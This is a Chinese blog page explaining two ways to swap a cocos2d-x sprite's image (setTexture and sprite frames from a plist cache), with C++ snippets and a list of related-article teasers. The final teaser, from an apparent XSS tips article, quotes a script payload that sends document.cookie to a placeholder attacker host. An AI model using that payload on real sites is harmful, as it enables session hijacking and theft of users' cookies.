//更换精灵CCSprite的图片有两种方式。

//直接通过图片更换

//使用setTexture(CCTexture2D*)函数,可以重新设置精灵类的纹理图片。

//

auto bg = Sprite::create();

Texture2D* texture = Director::getInstance()->getTextureCache()->addImage("bg2.png");

bg->setTexture(texture);

//

//2、通过缓存帧替换

//使用setDisplayFrame(CCSpriteFrame*)函数,利用精灵帧更换精灵图片。

//

//加载plist文件到缓存

SpriteFrameCache::getInstance()->addSpriteFramesWithFile("bg_0.plist");

//使用精灵帧,创建精灵

Sprite* bga = Sprite::createWithSpriteFrameName("bg1.png");

//更换精灵图片

SpriteFrame* frame = SpriteFrameCache::getInstance()->getSpriteFrameByName("bg2.png");

bga->setSpriteFrame(frame);

//

/*//加载合成的图片

CCSpriteBatchNode *spriteBatch=CCSpriteBatchNode::batchNodeWithFile("********.png");

this->addChild(spriteBatch);

//加载plist

CCSpriteFrameCache::sharedSpriteFrameCache()->addSpriteFramesWithFile("myconfig.plist");

// 生成Sprite

CCSprite *headSprite=CCSprite::spriteWithSpriteFrameName("aaa.png");

//需要更换图片时

CCSpriteFrame *frame=CCSpriteFrameCache::sharedSpriteFrameCache()->spriteFrameByName("bbb.png");

headSprite->setDisplayFrame(frame);

*/

  1. // 首先载入贴图集
  2. CCSpriteBatchNode *spriteBatch=CCSpriteBatchNode::batchNodeWithFile("snake.png");
  3. this->addChild(spriteBatch);
  4. CCSpriteFrameCache::sharedSpriteFrameCache()->addSpriteFramesWithFile("snake.plist");
  5. // 生成Sprite
  6. CCSprite *headSprite=CCSprite::spriteWithSpriteFrameName("headup.png");
  7. //需要更换图片时
  8. CCSpriteFrame *frame=CCSpriteFrameCache::sharedSpriteFrameCache()->spriteFrameByName("headleft.png");
  9. headSprite->setDisplayFrame(frame);
  1. CCSprite *my_hero = CCSprite::create("hero_a.png");
  2. CCTexture2D *hero_hit;
  3. CCSprite * temp_obj = CCSprite::create("hero_hit.png");
  4. hero_hit = temp_obj->getTexture();
  5. //改变my_hero的图片
  6. my_hero->stopAllActions();
  7. my_hero->setTexture(hero_hit);

cocos2dx 3.x(动态改变精灵的背景图片)的更多相关文章

  1. 【转】UGUI之用脚本动态的改变Button的背景图片 和 颜色

    http://blog.csdn.net/u014771617/article/details/45102701 public Button button;void Start(){ColorBloc ...

  2. 【android】listview改变选中行背景图片

    [android]listview改变选中行背景图片 目标:当item选中时,改变其背景图片.效果图如下: 直接在listview的xml文件中使用listselector: 1 2 3 4 5 6 ...

  3. VS2010,MFC动态按钮和窗体背景图片,以及是静态文字控件透明,并避免静态文字刷新出现的重叠问题

    1.动态按钮的四种动作 1)正常 2)按下 3)滑过 4)失效 在MFC中,4个动作对应着四种位图bmp, 首先,将代表四种状态的位图加载入资源中,将对应的按钮设置为BitmapButton 第二,在 ...

  4. Android使用属性动画ValueAnimator动态改变SurfaceView的背景颜色

    以下是主要代码,难点和疑问点都写在注释中: /** * 开始背景动画(此处为属性动画) */ private void startBackgroundAnimator(){ /* *参数解释: *ta ...

  5. 通过渲染改变tabBarItem的背景图片

    p.p1 { margin: 0.0px 0.0px 0.0px 0.0px; font: 18.0px Menlo; color: #703daa } p.p2 { margin: 0.0px 0. ...

  6. android 项目中设置背景图片

    xml文件设置背景图片中:任意一个控件,button imageView 或layout,在其的xml属性设置中,添加 [XML] view plaincopy android:background= ...

  7. Qt5:随窗口大小变化背景图片自动缩放的实现

    在窗口程序中,当我们改变窗口大小的时候,背景图片通常会岁窗口大小变化而缩放 然而,在我们写的窗口程序中,设置背景图片后,如果缩放大小,会看到背景图片并不会随之缩放, 应为这需要特殊处理,一般常用的方法 ...

  8. Javascript技巧实例精选(1)—鼠标选择动态改变网页背景颜色

    >>点击这里下载html源文件代码<< 采用Javascript实现,用鼠标点击相应颜色,动态改变网页背景颜色 这是截图 相应的Javascript源代码为: var hex ...

  9. EasyUI/TopJUI之如何动态改变下拉列表框ComboBox输入框的背景颜色

    简单记录一下 前段时间接到客户需求:动态改变下拉列表框ComboBox输入框的背景颜色. 刚开始想的很简单在用户选择列表项的时候,判断一下列表框的value值添加相应的背景颜色就OK了,然而在实际操作 ...

随机推荐

  1. BZOJ 1798 题解

    1798: [Ahoi2009]Seq 维护序列seq Time Limit: 30 Sec  Memory Limit: 64 MBSubmit: 5531  Solved: 1946[Submit ...

  2. 【BZOJ1901】Zju2112 Dynamic Rankings

    Description 给定一个含有n个数的序列a[1],a[2],a[3]……a[n],程序必须回答这样的询问:对于给定的i,j,k,在a[i],a[i+1],a[i+2]……a[j]中第k小的数是 ...

  3. python进阶学习三——第四天

    一. iter&yield迭代器 1.1 iter names = iter(['zeng', 'chun', 'yun']) print(names) print(names.__next_ ...

  4. JSON value

    JSON values can be: A number (integer or floating point) A string (in double quotes) A Boolean (true ...

  5. linux pidof

    转载:http://blog.51osos.com/linux/linux-pidof-command/ 什么是pidof命令? #man pidof中的解释: pidof — find the pr ...

  6. TF-IDF算法

    转自:http://www.cnblogs.com/eyeszjwang/articles/2330094.html TF-IDF(term frequency–inverse document fr ...

  7. Qt Load and Save PCL/PLY 加载和保存点云

    Qt可以跟VTK和PCL等其他库联合使用,十分强大,下面的代码展示了如何使用Qt联合PCL库来加载和保存PCL/PLY格式的点云: 通过按钮加载点云: void QMainWindow::on_pb_ ...

  8. Android中Activity的四种启动模式

    要了解Android的启动模式先要了解一下Activity的管理方式: 1.Activity的管理机制 Android的管理主要是通过Activity栈来进行的.当一个Activity启动时,系统根据 ...

  9. vector容器的用法

    转自一篇博客^-^: 1 基本操作 (1)头文件#include<vector>. (2)创建vector对象,vector<int> vec; (3)尾部插入数字:vec.p ...

  10. xss如何加载远程js的一些tips

    在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...